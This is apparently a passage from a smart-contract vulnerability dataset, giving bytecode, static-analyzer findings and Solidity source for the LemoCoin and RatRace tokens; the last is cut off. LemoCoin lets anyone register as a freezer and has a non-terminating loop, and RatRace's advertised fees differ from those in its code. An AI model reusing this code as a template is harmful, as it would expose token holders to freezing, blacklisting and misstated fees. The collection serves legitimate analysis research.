5b60096000888152602001908152602001600020819055505b6001600a600088815260200190815260200160002060006101000a81548160ff0219169083151502179055507fb055e237f0c91b371e43a608e0d643b8cf1b5a9309fe1b068260fa1371afc80a86868560405180848152602001838152602001828152602001935050505060405180910390a1505050505050565b6000828211151515612e2d57fe5b818303905092915050565b6020604051908101604052806000151581525090565b606060405190810160405280600081526020016000815260200160001515815250905600a165627a7a7230582069b0346067611f04d42b5bc63226df980df9cc97d56ef4946899edd622bf08430029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 2,460 |
0x60c24407d01782c2175d32fe7c8921ed732371d1
|
pragma solidity 0.4.23;
contract DSAuthority {
function canCall(
address src, address dst, bytes4 sig
) public view returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority (address indexed authority);
event LogSetOwner (address indexed owner);
}
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
constructor() public {
owner = msg.sender;
emit LogSetOwner(msg.sender);
}
function setOwner(address owner_)
public
auth
{
owner = owner_;
emit LogSetOwner(owner);
}
function setAuthority(DSAuthority authority_)
public
auth
{
authority = authority_;
emit LogSetAuthority(authority);
}
modifier auth {
require(isAuthorized(msg.sender, msg.sig));
_;
}
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, this, sig);
}
}
}
contract DSNote {
event LogNote(
bytes4 indexed sig,
address indexed guy,
bytes32 indexed foo,
bytes32 indexed bar,
uint wad,
bytes fax
) anonymous;
modifier note {
bytes32 foo;
bytes32 bar;
assembly {
foo := calldataload(4)
bar := calldataload(36)
}
emit LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data);
_;
}
}
contract DSStop is DSNote, DSAuth {
bool public stopped;
modifier stoppable {
require(!stopped);
_;
}
function stop() public auth note {
stopped = true;
}
function start() public auth note {
stopped = false;
}
}
contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x);
}
}
contract ERC20 {
/// @return total amount of tokens
function totalSupply() constant public returns (uint256 supply);
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant public returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) public returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) public returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant public returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Coin is ERC20, DSStop {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 internal c_totalSupply;
mapping(address => uint256) internal c_balances;
mapping(address => mapping(address => uint256)) internal c_approvals;
function init(uint256 token_supply, string token_name, string token_symbol) internal {
c_balances[msg.sender] = token_supply;
c_totalSupply = token_supply;
name = token_name;
symbol = token_symbol;
}
function() public {
assert(false);
}
function setName(string _name) auth public {
name = _name;
}
function totalSupply() constant public returns (uint256) {
return c_totalSupply;
}
function balanceOf(address _owner) constant public returns (uint256) {
return c_balances[_owner];
}
function approve(address _spender, uint256 _value) public stoppable returns (bool) {
require(msg.data.length >= (2 * 32) + 4);
require(_value == 0 || c_approvals[msg.sender][_spender] == 0);
// uint never less than 0. The negative number will become to a big positive number
require(_value < c_totalSupply);
c_approvals[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return c_approvals[_owner][_spender];
}
}
contract FreezerAuthority is DSAuthority {
address[] internal c_freezers;
// sha3("setFreezing(address,uint256,uint256,uint8)").slice(0,10)
bytes4 constant setFreezingSig = bytes4(0x51c3b8a6);
// sha3("transferAndFreezing(address,uint256,uint256,uint256,uint8)").slice(0,10)
bytes4 constant transferAndFreezingSig = bytes4(0xb8a1fdb6);
function canCall(address caller, address, bytes4 sig) public view returns (bool) {
// freezer can call setFreezing, transferAndFreezing
if (isFreezer(caller) && (sig == setFreezingSig || sig == transferAndFreezingSig)) {
return true;
} else {
return false;
}
}
function addFreezer(address freezer) public {
int i = indexOf(c_freezers, freezer);
if (i < 0) {
c_freezers.push(freezer);
}
}
function removeFreezer(address freezer) public {
int index = indexOf(c_freezers, freezer);
if (index >= 0) {
uint i = uint(index);
while (i < c_freezers.length - 1) {
c_freezers[i] = c_freezers[i + 1];
}
c_freezers.length--;
}
}
/** Finds the index of a given value in an array. */
function indexOf(address[] values, address value) internal pure returns (int) {
uint i = 0;
while (i < values.length) {
if (values[i] == value) {
return int(i);
}
i++;
}
return int(- 1);
}
function isFreezer(address addr) public constant returns (bool) {
return indexOf(c_freezers, addr) >= 0;
}
}
contract LemoCoin is Coin, DSMath {
// freezing struct
struct FreezingNode {
uint end_stamp;
uint num_lemos;
uint8 freezing_type;
}
// freezing account list
mapping(address => FreezingNode[]) internal c_freezing_list;
constructor(uint256 token_supply, string token_name, string token_symbol) public {
init(token_supply, token_name, token_symbol);
setAuthority(new FreezerAuthority());
}
function addFreezer(address freezer) auth public {
FreezerAuthority(authority).addFreezer(freezer);
}
function removeFreezer(address freezer) auth public {
FreezerAuthority(authority).removeFreezer(freezer);
}
event ClearExpiredFreezingEvent(address indexed addr);
event SetFreezingEvent(address indexed addr, uint end_stamp, uint num_lemos, uint8 indexed freezing_type);
function clearExpiredFreezing(address addr) public {
FreezingNode[] storage nodes = c_freezing_list[addr];
uint length = nodes.length;
// find first expired index
uint left = 0;
while (left < length) {
// not freezing any more
if (nodes[left].end_stamp <= block.timestamp) {
break;
}
left++;
}
// next frozen index
uint right = left + 1;
while (left < length && right < length) {
// still freezing
if (nodes[right].end_stamp > block.timestamp) {
nodes[left] = nodes[right];
left++;
}
right++;
}
if (length != left) {
nodes.length = left;
emit ClearExpiredFreezingEvent(addr);
}
}
function validBalanceOf(address addr) constant public returns (uint) {
FreezingNode[] memory nodes = c_freezing_list[addr];
uint length = nodes.length;
uint total_lemos = balanceOf(addr);
for (uint i = 0; i < length; ++i) {
if (nodes[i].end_stamp > block.timestamp) {
total_lemos = sub(total_lemos, nodes[i].num_lemos);
}
}
return total_lemos;
}
function freezingBalanceNumberOf(address addr) constant public returns (uint) {
return c_freezing_list[addr].length;
}
function freezingBalanceInfoOf(address addr, uint index) constant public returns (uint, uint, uint8) {
return (c_freezing_list[addr][index].end_stamp, c_freezing_list[addr][index].num_lemos, uint8(c_freezing_list[addr][index].freezing_type));
}
function setFreezing(address addr, uint end_stamp, uint num_lemos, uint8 freezing_type) auth stoppable public {
require(block.timestamp < end_stamp);
// uint never less than 0. The negative number will become to a big positive number
require(num_lemos < c_totalSupply);
clearExpiredFreezing(addr);
uint valid_balance = validBalanceOf(addr);
require(valid_balance >= num_lemos);
FreezingNode memory node = FreezingNode(end_stamp, num_lemos, freezing_type);
c_freezing_list[addr].push(node);
emit SetFreezingEvent(addr, end_stamp, num_lemos, freezing_type);
}
function transferAndFreezing(address _to, uint256 _value, uint256 freeze_amount, uint end_stamp, uint8 freezing_type) auth stoppable public returns (bool) {
// uint never less than 0. The negative number will become to a big positive number
require(_value < c_totalSupply);
require(freeze_amount <= _value);
transfer(_to, _value);
setFreezing(_to, end_stamp, freeze_amount, freezing_type);
return true;
}
function transfer(address _to, uint256 _value) stoppable public returns (bool) {
require(msg.data.length >= (2 * 32) + 4);
// uint never less than 0. The negative number will become to a big positive number
require(_value < c_totalSupply);
clearExpiredFreezing(msg.sender);
uint from_lemos = validBalanceOf(msg.sender);
require(from_lemos >= _value);
c_balances[msg.sender] = sub(c_balances[msg.sender], _value);
c_balances[_to] = add(c_balances[_to], _value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) stoppable public returns (bool) {
// uint never less than 0. The negative number will become to a big positive number
require(_value < c_totalSupply);
require(c_approvals[_from][msg.sender] >= _value);
clearExpiredFreezing(_from);
uint from_lemos = validBalanceOf(_from);
require(from_lemos >= _value);
c_approvals[_from][msg.sender] = sub(c_approvals[_from][msg.sender], _value);
c_balances[_from] = sub(c_balances[_from], _value);
c_balances[_to] = add(c_balances[_to], _value);
emit Transfer(_from, _to, _value);
return true;
}
}
|
0x6080604052600436106101485763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461015957806307da68f5146101e3578063095ea7b3146101f857806313af40351461023057806318160ddd146102515780631a71d3db1461027857806323b872dd146102995780632acd2000146102c3578063313ce567146102e457806351c3b8a61461030f578063526606c91461033c57806370a082311461035d57806375f12b211461037e57806378b83360146103935780637a9e5e4b146103d85780638da5cb5b146103f957806395d89b411461042a578063a9059cbb1461043f578063b8a1fdb614610463578063be9a655514610493578063bf7e214f146104a8578063c47f0027146104bd578063c783fb1014610516578063dd62ed3e14610537578063ed8a9c0f1461055e575b34801561015457600080fd5b50fe5b005b34801561016557600080fd5b5061016e61057f565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101a8578181015183820152602001610190565b50505050905090810190601f1680156101d55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ef57600080fd5b5061015761060a565b34801561020457600080fd5b5061021c600160a060020a03600435166024356106ad565b604080519115158252519081900360200190f35b34801561023c57600080fd5b50610157600160a060020a0360043516610785565b34801561025d57600080fd5b50610266610803565b60408051918252519081900360200190f35b34801561028457600080fd5b50610266600160a060020a036004351661080a565b3480156102a557600080fd5b5061021c600160a060020a0360043581169060243516604435610825565b3480156102cf57600080fd5b50610157600160a060020a03600435166109a6565b3480156102f057600080fd5b506102f9610a46565b6040805160ff9092168252519081900360200190f35b34801561031b57600080fd5b50610157600160a060020a036004351660243560443560ff60643516610a4f565b34801561034857600080fd5b50610157600160a060020a0360043516610b85565b34801561036957600080fd5b50610266600160a060020a0360043516610c0a565b34801561038a57600080fd5b5061021c610c25565b34801561039f57600080fd5b506103b7600160a060020a0360043516602435610c35565b60408051938452602084019290925260ff1682820152519081900360600190f35b3480156103e457600080fd5b50610157600160a060020a0360043516610cfb565b34801561040557600080fd5b5061040e610d75565b60408051600160a060020a039092168252519081900360200190f35b34801561043657600080fd5b5061016e610d84565b34801561044b57600080fd5b5061021c600160a060020a0360043516602435610ddf565b34801561046f57600080fd5b5061021c600160a060020a036004351660243560443560643560ff60843516610eec565b34801561049f57600080fd5b50610157610f64565b3480156104b457600080fd5b5061040e611001565b3480156104c957600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526101579436949293602493928401919081908401838280828437509497506110109650505050505050565b34801561052257600080fd5b50610266600160a060020a0360043516611048565b34801561054357600080fd5b50610266600160a060020a0360043581169060243516611160565b34801561056a57600080fd5b50610157600160a060020a036004351661118b565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156106025780601f106105d757610100808354040283529160200191610602565b820191906000526020600020905b8154815290600101906020018083116105e557829003601f168201915b505050505081565b61062033600035600160e060020a0319166112e7565b151561062b57600080fd5b6040805134808252602082018381523693830184905260043593602435938493869333600160a060020a03169360008035600160e060020a031916949092606082018484808284376040519201829003965090945050505050a450506001805474ff0000000000000000000000000000000000000000191660a060020a179055565b60015460009060a060020a900460ff16156106c757600080fd5b60443610156106d557600080fd5b8115806107055750600160a060020a03338116600090815260076020908152604080832093871683529290522054155b151561071057600080fd5b600554821061071e57600080fd5b600160a060020a03338116600081815260076020908152604080832094881680845294825291829020869055815186815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a35060015b92915050565b61079b33600035600160e060020a0319166112e7565b15156107a657600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383811691909117918290556040519116907fce241d7ca1f669fee44b6fc00b8eba2df3bb514eed0f6f668f8f89096e81ed9490600090a250565b6005545b90565b600160a060020a031660009081526008602052604090205490565b600154600090819060a060020a900460ff161561084157600080fd5b600554831061084f57600080fd5b600160a060020a038086166000908152600760209081526040808320339094168352929052205483111561088257600080fd5b61088b8561118b565b61089485611048565b9050828110156108a357600080fd5b600160a060020a03808616600090815260076020908152604080832033909416835292905220546108d490846113f9565b600160a060020a03808716600081815260076020908152604080832033909516835293815283822094909455908152600690925290205461091590846113f9565b600160a060020a0380871660009081526006602052604080822093909355908616815220546109449084611409565b600160a060020a0380861660008181526006602090815260409182902094909455805187815290519193928916927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3506001949350505050565b6109bc33600035600160e060020a0319166112e7565b15156109c757600080fd5b60008054604080517f2acd2000000000000000000000000000000000000000000000000000000000008152600160a060020a03858116600483015291519190921692632acd2000926024808201939182900301818387803b158015610a2b57600080fd5b505af1158015610a3f573d6000803e3d6000fd5b5050505050565b60045460ff1681565b6000610a59611419565b610a6f33600035600160e060020a0319166112e7565b1515610a7a57600080fd5b60015460a060020a900460ff1615610a9157600080fd5b428511610a9d57600080fd5b6005548410610aab57600080fd5b610ab48661118b565b610abd86611048565b915083821015610acc57600080fd5b5060408051606081018252858152602080820186815260ff868116848601818152600160a060020a038c1660008181526008875288812080546001808201835591835291889020895160039093020191825595519581019590955590516002909401805460ff19169490931693909317909155845189815292830188905284519394909391927f8353c9c8e6b29f14bab2183a16c2ffce362ad474a75fc1adfd390a554a9532d2929081900390910190a3505050505050565b610b9b33600035600160e060020a0319166112e7565b1515610ba657600080fd5b60008054604080517f526606c9000000000000000000000000000000000000000000000000000000008152600160a060020a0385811660048301529151919092169263526606c9926024808201939182900301818387803b158015610a2b57600080fd5b600160a060020a031660009081526006602052604090205490565b60015460a060020a900460ff1681565b600160a060020a038216600090815260086020526040812080548291829185908110610c5d57fe5b60009182526020808320600390920290910154600160a060020a038816835260089091526040909120805486908110610c9257fe5b9060005260206000209060030201600101546008600088600160a060020a0316600160a060020a0316815260200190815260200160002086815481101515610cd657fe5b6000918252602090912060026003909202010154919450925060ff1690509250925092565b610d1133600035600160e060020a0319166112e7565b1515610d1c57600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03838116919091178083556040519116917f1abebea81bfa2637f28358c371278fb15ede7ea8dd28d2e03b112ff6d936ada491a250565b600154600160a060020a031681565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106025780601f106105d757610100808354040283529160200191610602565b600154600090819060a060020a900460ff1615610dfb57600080fd5b6044361015610e0957600080fd5b6005548310610e1757600080fd5b610e203361118b565b610e2933611048565b905082811015610e3857600080fd5b600160a060020a033316600090815260066020526040902054610e5b90846113f9565b600160a060020a033381166000908152600660205260408082209390935590861681522054610e8a9084611409565b600160a060020a038086166000818152600660209081526040918290209490945580518781529051919333909316927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35060019392505050565b6000610f0433600035600160e060020a0319166112e7565b1515610f0f57600080fd5b60015460a060020a900460ff1615610f2657600080fd5b6005548510610f3457600080fd5b84841115610f4157600080fd5b610f4b8686610ddf565b50610f5886848685610a4f565b50600195945050505050565b610f7a33600035600160e060020a0319166112e7565b1515610f8557600080fd5b6040805134808252602082018381523693830184905260043593602435938493869333600160a060020a03169360008035600160e060020a031916949092606082018484808284376040519201829003965090945050505050a450506001805474ff000000000000000000000000000000000000000019169055565b600054600160a060020a031681565b61102633600035600160e060020a0319166112e7565b151561103157600080fd5b805161104490600290602084019061143e565b5050565b6000606060008060006008600087600160a060020a0316600160a060020a03168152602001908152602001600020805480602002602001604051908101604052809291908181526020016000905b828210156110e55760008481526020908190206040805160608101825260038602909201805483526001808201548486015260029091015460ff16918301919091529083529092019101611096565b505050509350835192506110f886610c0a565b9150600090505b828110156111575742848281518110151561111657fe5b6020908102909101015151111561114f5761114c82858381518110151561113957fe5b90602001906020020151602001516113f9565b91505b6001016110ff565b50949350505050565b600160a060020a03918216600090815260076020908152604080832093909416825291909152205490565b600160a060020a038116600090815260086020526040812080549091805b828210156111e6574284838154811015156111c057fe5b6000918252602090912060039091020154116111db576111e6565b6001909101906111a9565b50600181015b82821080156111fa57508281105b156112995742848281548110151561120e57fe5b906000526020600020906003020160000154111561129157838181548110151561123457fe5b9060005260206000209060030201848381548110151561125057fe5b6000918252602090912082546003909202019081556001808301548183015560029283015492909101805460ff191660ff9093169290921790915591909101905b6001016111ec565b828214610a3f57816112ab85826114bc565b50604051600160a060020a038616907f1349c273832f298de87bb3ef2d605b440b294c028baee20ea8711724452fde8590600090a25050505050565b600030600160a060020a031683600160a060020a0316141561130b5750600161077f565b600154600160a060020a03848116911614156113295750600161077f565b600054600160a060020a031615156113435750600061077f565b60008054604080517fb7009613000000000000000000000000000000000000000000000000000000008152600160a060020a0387811660048301523081166024830152600160e060020a0319871660448301529151919092169263b700961392606480820193602093909283900390910190829087803b1580156113c657600080fd5b505af11580156113da573d6000803e3d6000fd5b505050506040513d60208110156113f057600080fd5b5051905061077f565b8082038281111561077f57600080fd5b8082018281101561077f57600080fd5b6060604051908101604052806000815260200160008152602001600060ff1681525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061147f57805160ff19168380011785556114ac565b828001600101855582156114ac579182015b828111156114ac578251825591602001919060010190611491565b506114b89291506114ed565b5090565b8154818355818111156114e8576003028160030283600052602060002091820191016114e89190611507565b505050565b61080791905b808211156114b857600081556001016114f3565b61080791905b808211156114b8576000808255600182015560028101805460ff1916905560030161150d5600a165627a7a72305820b62b7b74aed510b424838312878c427acfbc84f911acc8a9741edd69a6e157960029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 2,461 |
0xd26c77d4f03dab3c61e87a233c624c5755c49bb3
|
/*
Website: https://ratrace.city/
Telegram: https://t.me/RatRaceSocialClub
Twitter: https://twitter.com/RR_SocialClub
Medium: https://medium.com/@RatRace
Github: https://github.com/RatRaceProject
/$$$$$$$ /$$ /$$$$$$$ /$$$$$$$$ /$$
| $$__ $$ | $$ | $$__ $$ |__ $$__/ | $$
| $$ \ $$ /$$$$$$ /$$$$$$ | $$ \ $$ /$$$$$$ /$$$$$$$ /$$$$$$ | $$ /$$$$$$ | $$ /$$ /$$$$$$ /$$$$$$$
| $$$$$$$/ |____ $$|_ $$_/ | $$$$$$$/ |____ $$ /$$_____/ /$$__ $$ | $$ /$$__ $$| $$ /$$/ /$$__ $$| $$__ $$
| $$__ $$ /$$$$$$$ | $$ | $$__ $$ /$$$$$$$| $$ | $$$$$$$$ | $$| $$ \ $$| $$$$$$/ | $$$$$$$$| $$ \ $$
| $$ \ $$ /$$__ $$ | $$ /$$| $$ \ $$ /$$__ $$| $$ | $$_____/ | $$| $$ | $$| $$_ $$ | $$_____/| $$ | $$
| $$ | $$| $$$$$$$ | $$$$/| $$ | $$| $$$$$$$| $$$$$$$| $$$$$$$ | $$| $$$$$$/| $$ \ $$| $$$$$$$| $$ | $$
|__/ |__/ \_______/ \___/ |__/ |__/ \_______/ \_______/ \_______/ |__/ \______/ |__/ \__/ \_______/|__/ |__/
1% Rewards
9% Marketing and Development
*/
//SPDX-License-Identifier: Unlicensed
pragma solidity 0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract RatRace is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _forceFee;
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
address private constant UNI_ROUTER_ADDRESS =
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address private constant DEAD_ADDRESS =
0x000000000000000000000000000000000000dEaD;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "RatRace";
string private constant _symbol = unicode"RatRace";
uint8 private constant _decimals = 9;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(
address payable FeeAddress,
address payable marketingWalletAddress
) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
_forceFee[UNI_ROUTER_ADDRESS] = true;
_forceFee[DEAD_ADDRESS] = true;
uniswapV2Router = IUniswapV2Router02(UNI_ROUTER_ADDRESS);
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
address(this),
uniswapV2Router.WETH()
);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 4;
_teamFee = 6;
bool isBuyOrSell = false;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
// check if buy
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
// user is buying
isBuyOrSell = true;
}
// check if sell
if (
to == uniswapV2Pair &&
from != address(uniswapV2Router) &&
!_isExcludedFromFee[from]
) {
_taxFee = 4;
_teamFee = 6;
// user is selling
isBuyOrSell = true;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (
!inSwap &&
from != uniswapV2Pair &&
swapEnabled &&
contractTokenBalance > 0
) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = _forceFee[to] || isBuyOrSell;
if (isBuyOrSell) {
require(tradingOpen, "trading is not open");
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function prepareTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
setMaxTxPercent(10);
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function openTrading() external onlyOwner() {
tradingOpen = true;
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
